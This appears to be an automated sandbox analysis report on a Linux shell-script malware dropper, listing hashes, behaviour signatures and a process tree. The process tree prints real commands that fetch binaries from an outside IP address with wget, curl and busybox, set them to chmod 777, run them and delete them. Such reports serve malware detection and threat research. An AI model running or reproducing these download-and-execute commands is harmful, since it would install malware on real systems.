Analysis

  • max time kernel
    12s
  • max time network
    13s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    19/10/2024, 01:51

General

  • Target

    79e44bd338732b2245e0eaaa5720123e4ed11f71a2f3747cf3f0ea58796ddcd7.sh

  • Size

    10KB

  • MD5

    6a9652c294e5e9472ed245126df7a12a

  • SHA1

    6b6211e9cda29897067be245039e7aec7b482f0e

  • SHA256

    79e44bd338732b2245e0eaaa5720123e4ed11f71a2f3747cf3f0ea58796ddcd7

  • SHA512

    ebcee321431404cd9392dfec9d38e04b4cfc838bcb99512498730ea32d583d7690bcf26b0717df741102327d4f6330ca8730f3e433fd34db2250e20884c3db99

  • SSDEEP

    192:2k07BhIIeyXF6IyR00QN+m0EX4q2Mk03BhISeyXF6I6i0QN+mlw:2k0BeyXoIyRlC4q2Mk0heyXoI6X

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Checks CPU configuration 1 TTPs 10 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 20 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/79e44bd338732b2245e0eaaa5720123e4ed11f71a2f3747cf3f0ea58796ddcd7.sh
    /tmp/79e44bd338732b2245e0eaaa5720123e4ed11f71a2f3747cf3f0ea58796ddcd7.sh
    1⤵
      PID:638
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:640
        • /usr/bin/wget
          wget http://87.120.84.230/bins/SLnrBHAIVHr4YfPMuHinLbYlvGPBQozryi
          2⤵
            PID:643
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/SLnrBHAIVHr4YfPMuHinLbYlvGPBQozryi
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:660
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/SLnrBHAIVHr4YfPMuHinLbYlvGPBQozryi
            2⤵
              PID:669
            • /bin/chmod
              chmod 777 SLnrBHAIVHr4YfPMuHinLbYlvGPBQozryi
              2⤵
              • File and Directory Permissions Modification
              PID:671
            • /tmp/SLnrBHAIVHr4YfPMuHinLbYlvGPBQozryi
              ./SLnrBHAIVHr4YfPMuHinLbYlvGPBQozryi
              2⤵
              • Executes dropped EXE
              PID:672
            • /bin/rm
              rm SLnrBHAIVHr4YfPMuHinLbYlvGPBQozryi
              2⤵
                PID:673
              • /usr/bin/wget
                wget http://87.120.84.230/bins/8WyymWHYj7QCTjKmhX97w2uKs3atZWewSS
                2⤵
                  PID:674
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/8WyymWHYj7QCTjKmhX97w2uKs3atZWewSS
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:675
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/8WyymWHYj7QCTjKmhX97w2uKs3atZWewSS
                  2⤵
                    PID:676
                  • /bin/chmod
                    chmod 777 8WyymWHYj7QCTjKmhX97w2uKs3atZWewSS
                    2⤵
                    • File and Directory Permissions Modification
                    PID:679
                  • /tmp/8WyymWHYj7QCTjKmhX97w2uKs3atZWewSS
                    ./8WyymWHYj7QCTjKmhX97w2uKs3atZWewSS
                    2⤵
                    • Executes dropped EXE
                    PID:681
                  • /bin/rm
                    rm 8WyymWHYj7QCTjKmhX97w2uKs3atZWewSS
                    2⤵
                      PID:682
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/4nLqolMkFfn5Q2QNB4qrSTSlHHPfu9kOkb
                      2⤵
                        PID:684
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/4nLqolMkFfn5Q2QNB4qrSTSlHHPfu9kOkb
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:689
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/4nLqolMkFfn5Q2QNB4qrSTSlHHPfu9kOkb
                        2⤵
                          PID:695
                        • /bin/chmod
                          chmod 777 4nLqolMkFfn5Q2QNB4qrSTSlHHPfu9kOkb
                          2⤵
                          • File and Directory Permissions Modification
                          PID:700
                        • /tmp/4nLqolMkFfn5Q2QNB4qrSTSlHHPfu9kOkb
                          ./4nLqolMkFfn5Q2QNB4qrSTSlHHPfu9kOkb
                          2⤵
                          • Executes dropped EXE
                          PID:702
                        • /bin/rm
                          rm 4nLqolMkFfn5Q2QNB4qrSTSlHHPfu9kOkb
                          2⤵
                            PID:703
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/D6LuxfDpXNy9rxMbPnif7NLzSKpC22CCSz
                            2⤵
                              PID:704
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/D6LuxfDpXNy9rxMbPnif7NLzSKpC22CCSz
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:709
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/D6LuxfDpXNy9rxMbPnif7NLzSKpC22CCSz
                              2⤵
                                PID:715
                              • /bin/chmod
                                chmod 777 D6LuxfDpXNy9rxMbPnif7NLzSKpC22CCSz
                                2⤵
                                • File and Directory Permissions Modification
                                PID:721
                              • /tmp/D6LuxfDpXNy9rxMbPnif7NLzSKpC22CCSz
                                ./D6LuxfDpXNy9rxMbPnif7NLzSKpC22CCSz
                                2⤵
                                • Executes dropped EXE
                                PID:722
                              • /bin/rm
                                rm D6LuxfDpXNy9rxMbPnif7NLzSKpC22CCSz
                                2⤵
                                  PID:723
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/pAmIB4sk5yCuRWIk7h1hYLhnwpUSlg4Xxm
                                  2⤵
                                    PID:725
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/pAmIB4sk5yCuRWIk7h1hYLhnwpUSlg4Xxm
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:731
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/pAmIB4sk5yCuRWIk7h1hYLhnwpUSlg4Xxm
                                    2⤵
                                      PID:738
                                    • /bin/chmod
                                      chmod 777 pAmIB4sk5yCuRWIk7h1hYLhnwpUSlg4Xxm
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:740
                                    • /tmp/pAmIB4sk5yCuRWIk7h1hYLhnwpUSlg4Xxm
                                      ./pAmIB4sk5yCuRWIk7h1hYLhnwpUSlg4Xxm
                                      2⤵
                                      • Executes dropped EXE
                                      PID:741
                                    • /bin/rm
                                      rm pAmIB4sk5yCuRWIk7h1hYLhnwpUSlg4Xxm
                                      2⤵
                                        PID:742
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/JthsMXwzlHBXiVQeiqTBVfvcaP24dnBmuQ
                                        2⤵
                                          PID:743
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/JthsMXwzlHBXiVQeiqTBVfvcaP24dnBmuQ
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:744
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/JthsMXwzlHBXiVQeiqTBVfvcaP24dnBmuQ
                                          2⤵
                                            PID:745
                                          • /bin/chmod
                                            chmod 777 JthsMXwzlHBXiVQeiqTBVfvcaP24dnBmuQ
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:749
                                          • /tmp/JthsMXwzlHBXiVQeiqTBVfvcaP24dnBmuQ
                                            ./JthsMXwzlHBXiVQeiqTBVfvcaP24dnBmuQ
                                            2⤵
                                            • Executes dropped EXE
                                            PID:750
                                          • /bin/rm
                                            rm JthsMXwzlHBXiVQeiqTBVfvcaP24dnBmuQ
                                            2⤵
                                              PID:752
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/FhITldMHonjpiCltv4sk55YKSWt040cZ3V
                                              2⤵
                                                PID:753
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/FhITldMHonjpiCltv4sk55YKSWt040cZ3V
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:758
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/FhITldMHonjpiCltv4sk55YKSWt040cZ3V
                                                2⤵
                                                  PID:764
                                                • /bin/chmod
                                                  chmod 777 FhITldMHonjpiCltv4sk55YKSWt040cZ3V
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:768
                                                • /tmp/FhITldMHonjpiCltv4sk55YKSWt040cZ3V
                                                  ./FhITldMHonjpiCltv4sk55YKSWt040cZ3V
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:770
                                                • /bin/rm
                                                  rm FhITldMHonjpiCltv4sk55YKSWt040cZ3V
                                                  2⤵
                                                    PID:771
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/yRFx7dApmj2zj7WJZMzgClnjukSVEtqQpN
                                                    2⤵
                                                      PID:773
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.84.230/bins/yRFx7dApmj2zj7WJZMzgClnjukSVEtqQpN
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:778
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.84.230/bins/yRFx7dApmj2zj7WJZMzgClnjukSVEtqQpN
                                                      2⤵
                                                        PID:784
                                                      • /bin/chmod
                                                        chmod 777 yRFx7dApmj2zj7WJZMzgClnjukSVEtqQpN
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:788
                                                      • /tmp/yRFx7dApmj2zj7WJZMzgClnjukSVEtqQpN
                                                        ./yRFx7dApmj2zj7WJZMzgClnjukSVEtqQpN
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:789
                                                      • /bin/rm
                                                        rm yRFx7dApmj2zj7WJZMzgClnjukSVEtqQpN
                                                        2⤵
                                                          PID:790
                                                        • /usr/bin/wget
                                                          wget http://87.120.84.230/bins/vgeI6ZfhxHZrKSX06sG1p4uo4aUQzHZy5I
                                                          2⤵
                                                            PID:791
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.84.230/bins/vgeI6ZfhxHZrKSX06sG1p4uo4aUQzHZy5I
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:792
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.84.230/bins/vgeI6ZfhxHZrKSX06sG1p4uo4aUQzHZy5I
                                                            2⤵
                                                              PID:793
                                                            • /bin/chmod
                                                              chmod 777 vgeI6ZfhxHZrKSX06sG1p4uo4aUQzHZy5I
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:794
                                                            • /tmp/vgeI6ZfhxHZrKSX06sG1p4uo4aUQzHZy5I
                                                              ./vgeI6ZfhxHZrKSX06sG1p4uo4aUQzHZy5I
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:795
                                                            • /bin/rm
                                                              rm vgeI6ZfhxHZrKSX06sG1p4uo4aUQzHZy5I
                                                              2⤵
                                                                PID:796
                                                              • /usr/bin/wget
                                                                wget http://87.120.84.230/bins/3njsUuMiA9s4cD7gd54PP2mJQTVXXoG3iK
                                                                2⤵
                                                                  PID:797
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.84.230/bins/3njsUuMiA9s4cD7gd54PP2mJQTVXXoG3iK
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:798
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.84.230/bins/3njsUuMiA9s4cD7gd54PP2mJQTVXXoG3iK
                                                                  2⤵
                                                                    PID:799
                                                                  • /bin/chmod
                                                                    chmod 777 3njsUuMiA9s4cD7gd54PP2mJQTVXXoG3iK
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:800
                                                                  • /tmp/3njsUuMiA9s4cD7gd54PP2mJQTVXXoG3iK
                                                                    ./3njsUuMiA9s4cD7gd54PP2mJQTVXXoG3iK
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:801
                                                                  • /bin/rm
                                                                    rm 3njsUuMiA9s4cD7gd54PP2mJQTVXXoG3iK
                                                                    2⤵
                                                                      PID:802
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.84.230/bins/KCzhU8DZejg5hMGeh03Y535Qx5meF4eGMx
                                                                      2⤵
                                                                        PID:803

                                                                    Network

                                                                          MITRE ATT&CK Enterprise v15

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads

                                                                          • /tmp/SLnrBHAIVHr4YfPMuHinLbYlvGPBQozryi

                                                                            Filesize

                                                                            153B

                                                                            MD5

                                                                            998368d7c95ea4293237f2320546e440

                                                                            SHA1

                                                                            30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                                            SHA256

                                                                            533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                                            SHA512

                                                                            648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97